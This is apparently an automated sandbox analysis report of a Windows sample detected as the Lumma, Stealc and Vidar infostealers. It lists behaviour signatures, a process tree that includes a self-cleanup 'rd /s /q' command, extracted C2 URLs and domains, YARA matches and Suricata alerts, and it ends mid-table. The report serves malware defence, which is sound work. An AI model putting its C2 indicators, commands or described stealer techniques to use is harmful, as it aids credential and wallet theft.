Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1519636
MD5:	10b1172549949f835f59bd598cfc4318
SHA1:	21f16130980717888dea8eb3dee30a4914749880
SHA256:	8df76c9722b5a44e7e5c42de48f4073ef42eaa814903207abdb9aa72f0ed4616
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar

Yara detected Vidar stealer

.NET source code contains very large array initializations

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6756 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 10B1172549949F835F59BD598CFC4318)

conhost.exe (PID: 6816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 6112 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 7056 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userKECGDBFCBK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userKECGDBFCBK.exe (PID: 5828 cmdline: "C:\Users\userKECGDBFCBK.exe" MD5: 2CCE29D734EA1D227B338834698E2DE4)

conhost.exe (PID: 6664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 1800 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

HDGCAAFBFB.exe (PID: 6388 cmdline: "C:\ProgramData\HDGCAAFBFB.exe" MD5: 16F5B27C9E1376C17B03BF8C5090DB3C)

conhost.exe (PID: 6420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 2120 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

AFBFHDBKJE.exe (PID: 4076 cmdline: "C:\ProgramData\AFBFHDBKJE.exe" MD5: 2CCE29D734EA1D227B338834698E2DE4)

conhost.exe (PID: 2228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 1820 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 5984 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\EGIDAAFIEHIE" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 648 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cmd.exe (PID: 3320 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userHJEBGHIEBF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userHJEBGHIEBF.exe (PID: 5816 cmdline: "C:\Users\userHJEBGHIEBF.exe" MD5: 16F5B27C9E1376C17B03BF8C5090DB3C)

conhost.exe (PID: 2836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 6664 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Threatname: LummaC

{"C2 url": ["reinforcenh.shop", "vozmeatillu.shop", "stogeneratmns.shop", "drawzhotdog.shop", "ghostreedmnu.shop", "fragnantbui.shop", "offensivedzvju.shop", "gutterydhowi.shop"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "e90840a846d017e7b095f7543cdf2d15"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000002.00000002.2244524947.000000000117A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2627711510.000000000106A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000002.2624007982.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000008.00000002.2624007982.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0000000D.00000002.1944128391.0000000003685000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000002.1735460446.0000000003965000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000002.1906224894.0000000003925000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000006.00000002.1906224894.0000000003925000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: file.exe PID: 6756	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 6112	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 6112	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 6112	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 6112	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: userKECGDBFCBK.exe PID: 5828	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: userKECGDBFCBK.exe PID: 5828	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: userKECGDBFCBK.exe PID: 5828	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 1800	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 1800	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 1800	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 1800	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 20 entries

Unpacked PEs

Source	Rule	Description	Author
15.2.RegAsm.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
15.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.file.exe.3965570.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.RegAsm.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.userKECGDBFCBK.exe.3925570.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
6.2.userKECGDBFCBK.exe.3925570.2.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.3965570.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
8.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
6.2.userKECGDBFCBK.exe.3925570.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
6.2.userKECGDBFCBK.exe.3925570.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
8.2.RegAsm.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
8.2.RegAsm.exe.400000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 9 entries

Suricata Signatures

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:49.160557+0200	2028765	3	Unknown Traffic	192.168.2.4	59744	5.75.211.162	443	TCP
2024-09-26T19:05:50.313056+0200	2028765	3	Unknown Traffic	192.168.2.4	59745	5.75.211.162	443	TCP
2024-09-26T19:05:51.711100+0200	2028765	3	Unknown Traffic	192.168.2.4	59746	5.75.211.162	443	TCP
2024-09-26T19:05:53.086895+0200	2028765	3	Unknown Traffic	192.168.2.4	59747	5.75.211.162	443	TCP
2024-09-26T19:05:54.489760+0200	2028765	3	Unknown Traffic	192.168.2.4	59748	5.75.211.162	443	TCP
2024-09-26T19:05:55.927470+0200	2028765	3	Unknown Traffic	192.168.2.4	59749	5.75.211.162	443	TCP
2024-09-26T19:05:57.179742+0200	2028765	3	Unknown Traffic	192.168.2.4	59750	5.75.211.162	443	TCP
2024-09-26T19:06:00.329065+0200	2028765	3	Unknown Traffic	192.168.2.4	59751	5.75.211.162	443	TCP
2024-09-26T19:06:01.452654+0200	2028765	3	Unknown Traffic	192.168.2.4	59752	5.75.211.162	443	TCP
2024-09-26T19:06:02.830176+0200	2028765	3	Unknown Traffic	192.168.2.4	59753	5.75.211.162	443	TCP
2024-09-26T19:06:03.874111+0200	2028765	3	Unknown Traffic	192.168.2.4	59754	5.75.211.162	443	TCP
2024-09-26T19:06:05.099571+0200	2028765	3	Unknown Traffic	192.168.2.4	59755	5.75.211.162	443	TCP
2024-09-26T19:06:07.908809+0200	2028765	3	Unknown Traffic	192.168.2.4	59757	5.75.211.162	443	TCP
2024-09-26T19:06:09.634088+0200	2028765	3	Unknown Traffic	192.168.2.4	59758	5.75.211.162	443	TCP
2024-09-26T19:06:11.346851+0200	2028765	3	Unknown Traffic	192.168.2.4	59759	5.75.211.162	443	TCP
2024-09-26T19:06:12.925825+0200	2028765	3	Unknown Traffic	192.168.2.4	59760	5.75.211.162	443	TCP
2024-09-26T19:06:14.205192+0200	2028765	3	Unknown Traffic	192.168.2.4	59761	5.75.211.162	443	TCP
2024-09-26T19:06:17.269985+0200	2028765	3	Unknown Traffic	192.168.2.4	59762	5.75.211.162	443	TCP
2024-09-26T19:06:18.543739+0200	2028765	3	Unknown Traffic	192.168.2.4	59763	5.75.211.162	443	TCP
2024-09-26T19:06:19.904342+0200	2028765	3	Unknown Traffic	192.168.2.4	59764	5.75.211.162	443	TCP
2024-09-26T19:06:21.438795+0200	2028765	3	Unknown Traffic	192.168.2.4	59765	5.75.211.162	443	TCP
2024-09-26T19:06:23.583245+0200	2028765	3	Unknown Traffic	192.168.2.4	59766	5.75.211.162	443	TCP
2024-09-26T19:06:25.573056+0200	2028765	3	Unknown Traffic	192.168.2.4	59767	5.75.211.162	443	TCP
2024-09-26T19:06:29.847709+0200	2028765	3	Unknown Traffic	192.168.2.4	59769	5.75.211.162	443	TCP
2024-09-26T19:06:34.108574+0200	2028765	3	Unknown Traffic	192.168.2.4	59773	5.75.211.162	443	TCP
2024-09-26T19:06:35.754462+0200	2028765	3	Unknown Traffic	192.168.2.4	59776	5.75.211.162	443	TCP
2024-09-26T19:06:55.107614+0200	2028765	3	Unknown Traffic	192.168.2.4	59786	5.75.211.162	443	TCP
2024-09-26T19:06:56.435224+0200	2028765	3	Unknown Traffic	192.168.2.4	59787	5.75.211.162	443	TCP
2024-09-26T19:06:57.916233+0200	2028765	3	Unknown Traffic	192.168.2.4	59788	5.75.211.162	443	TCP
2024-09-26T19:06:59.402777+0200	2028765	3	Unknown Traffic	192.168.2.4	59789	5.75.211.162	443	TCP
2024-09-26T19:07:00.848343+0200	2028765	3	Unknown Traffic	192.168.2.4	59790	5.75.211.162	443	TCP
2024-09-26T19:07:02.477421+0200	2028765	3	Unknown Traffic	192.168.2.4	59791	5.75.211.162	443	TCP
2024-09-26T19:07:03.529271+0200	2028765	3	Unknown Traffic	192.168.2.4	59792	5.75.211.162	443	TCP
2024-09-26T19:07:06.659935+0200	2028765	3	Unknown Traffic	192.168.2.4	59793	5.75.211.162	443	TCP
2024-09-26T19:07:07.688641+0200	2028765	3	Unknown Traffic	192.168.2.4	59794	5.75.211.162	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:30.317284+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49744	188.114.96.3	443	TCP
2024-09-26T19:05:31.299084+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59733	104.21.4.136	443	TCP
2024-09-26T19:05:32.338062+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59734	188.114.96.3	443	TCP
2024-09-26T19:05:33.277753+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59735	188.114.97.3	443	TCP
2024-09-26T19:05:34.980565+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59736	188.114.96.3	443	TCP
2024-09-26T19:05:36.049218+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59737	172.67.162.108	443	TCP
2024-09-26T19:05:37.031624+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59738	188.114.96.3	443	TCP
2024-09-26T19:05:38.008760+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59739	188.114.96.3	443	TCP
2024-09-26T19:05:38.979775+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59740	172.67.208.139	443	TCP
2024-09-26T19:05:41.779162+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59742	104.21.2.13	443	TCP
2024-09-26T19:06:30.456255+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59770	188.114.96.3	443	TCP
2024-09-26T19:06:33.887060+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59771	104.21.4.136	443	TCP
2024-09-26T19:06:34.960517+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59774	188.114.96.3	443	TCP
2024-09-26T19:06:37.985426+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59775	188.114.97.3	443	TCP
2024-09-26T19:06:40.681171+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59778	188.114.96.3	443	TCP
2024-09-26T19:06:42.268341+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59779	172.67.162.108	443	TCP
2024-09-26T19:06:43.234227+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59780	188.114.96.3	443	TCP
2024-09-26T19:06:44.230119+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59781	188.114.96.3	443	TCP
2024-09-26T19:06:45.180325+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59782	172.67.208.139	443	TCP
2024-09-26T19:06:47.412344+0200	2054653	1	A Network Trojan was detected	192.168.2.4	59784	104.21.2.13	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:30.317284+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49744	188.114.96.3	443	TCP
2024-09-26T19:05:31.299084+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59733	104.21.4.136	443	TCP
2024-09-26T19:05:32.338062+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59734	188.114.96.3	443	TCP
2024-09-26T19:05:33.277753+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59735	188.114.97.3	443	TCP
2024-09-26T19:05:34.980565+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59736	188.114.96.3	443	TCP
2024-09-26T19:05:36.049218+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59737	172.67.162.108	443	TCP
2024-09-26T19:05:37.031624+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59738	188.114.96.3	443	TCP
2024-09-26T19:05:38.008760+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59739	188.114.96.3	443	TCP
2024-09-26T19:05:38.979775+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59740	172.67.208.139	443	TCP
2024-09-26T19:05:41.779162+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59742	104.21.2.13	443	TCP
2024-09-26T19:06:30.456255+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59770	188.114.96.3	443	TCP
2024-09-26T19:06:33.887060+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59771	104.21.4.136	443	TCP
2024-09-26T19:06:34.960517+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59774	188.114.96.3	443	TCP
2024-09-26T19:06:37.985426+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59775	188.114.97.3	443	TCP
2024-09-26T19:06:40.681171+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59778	188.114.96.3	443	TCP
2024-09-26T19:06:42.268341+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59779	172.67.162.108	443	TCP
2024-09-26T19:06:43.234227+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59780	188.114.96.3	443	TCP
2024-09-26T19:06:44.230119+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59781	188.114.96.3	443	TCP
2024-09-26T19:06:45.180325+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59782	172.67.208.139	443	TCP
2024-09-26T19:06:47.412344+0200	2049836	1	A Network Trojan was detected	192.168.2.4	59784	104.21.2.13	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:35.538403+0200	2056157	1	Domain Observed Used for C2 Detected	192.168.2.4	59737	172.67.162.108	443	TCP
2024-09-26T19:06:41.179233+0200	2056157	1	Domain Observed Used for C2 Detected	192.168.2.4	59779	172.67.162.108	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:36.552715+0200	2056155	1	Domain Observed Used for C2 Detected	192.168.2.4	59738	188.114.96.3	443	TCP
2024-09-26T19:06:42.761732+0200	2056155	1	Domain Observed Used for C2 Detected	192.168.2.4	59780	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:29.727537+0200	2056163	1	Domain Observed Used for C2 Detected	192.168.2.4	49744	188.114.96.3	443	TCP
2024-09-26T19:05:31.772519+0200	2056163	1	Domain Observed Used for C2 Detected	192.168.2.4	59734	188.114.96.3	443	TCP
2024-09-26T19:06:29.943268+0200	2056163	1	Domain Observed Used for C2 Detected	192.168.2.4	59770	188.114.96.3	443	TCP
2024-09-26T19:06:34.403691+0200	2056163	1	Domain Observed Used for C2 Detected	192.168.2.4	59774	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:30.836870+0200	2056165	1	Domain Observed Used for C2 Detected	192.168.2.4	59733	104.21.4.136	443	TCP
2024-09-26T19:06:30.946401+0200	2056165	1	Domain Observed Used for C2 Detected	192.168.2.4	59771	104.21.4.136	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:32.839987+0200	2056161	1	Domain Observed Used for C2 Detected	192.168.2.4	59735	188.114.97.3	443	TCP
2024-09-26T19:06:35.549648+0200	2056161	1	Domain Observed Used for C2 Detected	192.168.2.4	59775	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:38.538168+0200	2056151	1	Domain Observed Used for C2 Detected	192.168.2.4	59740	172.67.208.139	443	TCP
2024-09-26T19:06:44.745727+0200	2056151	1	Domain Observed Used for C2 Detected	192.168.2.4	59782	172.67.208.139	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:37.555316+0200	2056153	1	Domain Observed Used for C2 Detected	192.168.2.4	59739	188.114.96.3	443	TCP
2024-09-26T19:06:43.742979+0200	2056153	1	Domain Observed Used for C2 Detected	192.168.2.4	59781	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:33.790594+0200	2056159	1	Domain Observed Used for C2 Detected	192.168.2.4	59736	188.114.96.3	443	TCP
2024-09-26T19:06:38.486489+0200	2056159	1	Domain Observed Used for C2 Detected	192.168.2.4	59778	188.114.96.3	443	TCP

ET MALWARE Vidar Stealer Form Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:06:37.249091+0200	2054495	1	A Network Trojan was detected	192.168.2.4	59777	45.132.206.251	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:34.982552+0200	2056156	1	Domain Observed Used for C2 Detected	192.168.2.4	65535	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T19:05:36.068497+0200	2056154	1	Domain Observed Used for C2 Detected	192.168.2.4	61372	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
